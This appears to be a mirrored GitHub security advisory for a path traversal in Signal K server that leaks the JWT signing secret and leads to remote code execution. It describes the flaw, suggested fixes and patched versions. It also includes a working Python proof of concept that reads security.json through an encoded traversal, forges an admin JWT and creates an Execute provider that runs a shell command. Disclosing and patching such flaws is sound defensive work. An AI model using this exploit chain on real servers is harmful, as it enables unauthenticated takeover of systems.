GHSA-4xm8-rg9h-jhq2
Mở trang đầy đủCVSS 9.8 CRITICAL RCE Lộ dữ liệu
Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution
Mô tả
Summary
Path traversal in the Signal K resources and applicationData APIs lets an
unauthenticated or low-privileged user read, write and delete files outside
the storage root. Reading <config>/security.json discloses the JWT signing
secret, enabling admin token forgery and remote code execution.
Details
Description
The v2 REST resources API GET /signalk/v2/api/resources/:resourceType/:resourceId passes resourceId to FileStore.getResource() without validation. getResource() builds the file path with path.join(this.resources[type].path, itemUuid) followed by readFile + JSON.parse, so a %2F-encoded multi-level traversal (..%2F..%2F..%2F..%2F) escapes the resource storage directory and returns any JSON file on the server (source: src/api/resources/index.ts:559-600, packages/resources-provider-plugin/src/filestorage.ts:115-125).
Because the JWT signing secret is stored in plaintext in <config>/security.json (generated at src/tokensecurity.ts:271, persisted via saveSecurityConfig at src/security.ts:377), an unauthenticated attacker on deployments with allow_readonly=true (a supported, UI-toggleable configuration granting anonymous read access) can:
- Read
<config>/security.json— disclosing the JWT signing secret (512-hex) and user password hashes. - Forge an admin JWT — HS256-sign
{"id":"admin"}with the disclosed secret; accepted by/skServer/loginStatus(userLevel: "admin") and all admin-protected endpoints (adminAuthenticationMiddleware,src/tokensecurity.ts:593, applied atsrc/tokensecurity.ts:953). - Gain remote code execution —
POST /skServer/providers(admin) accepts a provider of typeExecute;packages/streams/src/execute.ts:93executes it viaspawn('sh', ['-c', command])at creation time. The provider persists tosettings.jsonand survives restarts.
On default deployments (allow_readonly=false), step 1 returns 401 to anonymous users but succeeds with any readonly user token.
Suggested fixes
- Validate
resourceIdagainst a strict whitelist (for example, UUID format) insrc/api/resources/index.tsbefore any storage call, including PUT/DELETE. - In
FileStore.getResource/setResource/deleteResource, canonicalise withpath.resolve()and reject results outsidethis.resources[type].path. - Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.
- Consider gating provider types that execute commands (
Execute) behind an explicit opt-in.
Proof of concept
Fully local testbed. Start the server, enable allow_readonly=true, then run:
#!/usr/bin/env python3
import base64, hashlib, hmac, json, time, urllib.request
BASE = "http://127.0.0.1:3000"
CMD = "id > /tmp/sk-pwned"
# 1) unauthenticated traversal read of security.json
p = "/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json"
sk = json.load(urllib.request.urlopen(BASE + p))["secretKey"]
# 2) forge admin JWT
b64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b"=").decode()
h = b64(json.dumps({"alg":"HS256","typ":"JWT"}).encode())
c = b64(json.dumps({"id":"admin","iat":int(time.time())}).encode())
tok = h+"."+c+"."+b64(hmac.new(sk.encode(), (h+"."+c).encode(), hashlib.sha256).digest())
req = urllib.request.Request(BASE+"/skServer/loginStatus", headers={"Authorization":"JWT "+tok})
assert json.load(urllib.request.urlopen(req))["userLevel"] == "admin"
# 3) add an Execute provider -> spawn('sh','-c',CMD)
prov = {"id":"poc-rce","enabled":True,"logging":False,"type":"Execute",
"options":{"type":"ws","dataType":"SignalK","command":CMD}}
req = urllib.request.Request(BASE+"/skServer/providers", data=json.dumps(prov).encode(),
headers={"Authorization":"JWT "+tok,"Content-Type":"application/json"}, method="POST")
print(urllib.request.urlopen(req).read()) # provider created; /tmp/sk-pwned now exists
Reproduction verified independently on master 340d5bb6 (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.
Impact
Unauthenticated access (with allow_readonly=true) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix
Điểm và phân loại
- CVSS
- 9.8 CRITICAL v3.1
- Nguồn điểm
- GitHub Advisory
- Mức độ (theo nguồn)
- CRITICAL
- EPSS
- —
- CWE
- CWE-22
Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Ảnh hưởng
| Package | Bản bị ảnh hưởng | Bản đã sửa |
|---|---|---|
npm signalk-server |
>= 2.0.0, < 2.34.0 |
2.34.0
|
npm @signalk/resources-provider |
>= 1.0.0, < 1.5.3 |
1.5.3
|
Vì sao được giữ
- CVSS 9.8 >= 8.0
Loại tác động
- RCE
- từ khoá "remote code execution"; từ khoá "arbitrary command execution"
- Lộ dữ liệu
- CWE-22; từ khoá "path traversal"
Dữ liệu riêng của nguồn
- OSV.dev · ID
- GHSA-4xm8-rg9h-jhq2
Tham khảo
- https://github.com/advisories/GHSA-4xm8-rg9h-jhq2
- https://github.com/SignalK/signalk-server/security/advisories/GHSA-4xm8-rg9h-jhq2
- https://github.com/SignalK/signalk-server/commit/83689f040d7e90280dddc643f44f3e4ce348fbb1
- https://github.com/SignalK/signalk-server/releases/tag/v2.34.0
- https://osv.dev/vulnerability/GHSA-4xm8-rg9h-jhq2
- https://github.com/SignalK/signalk-server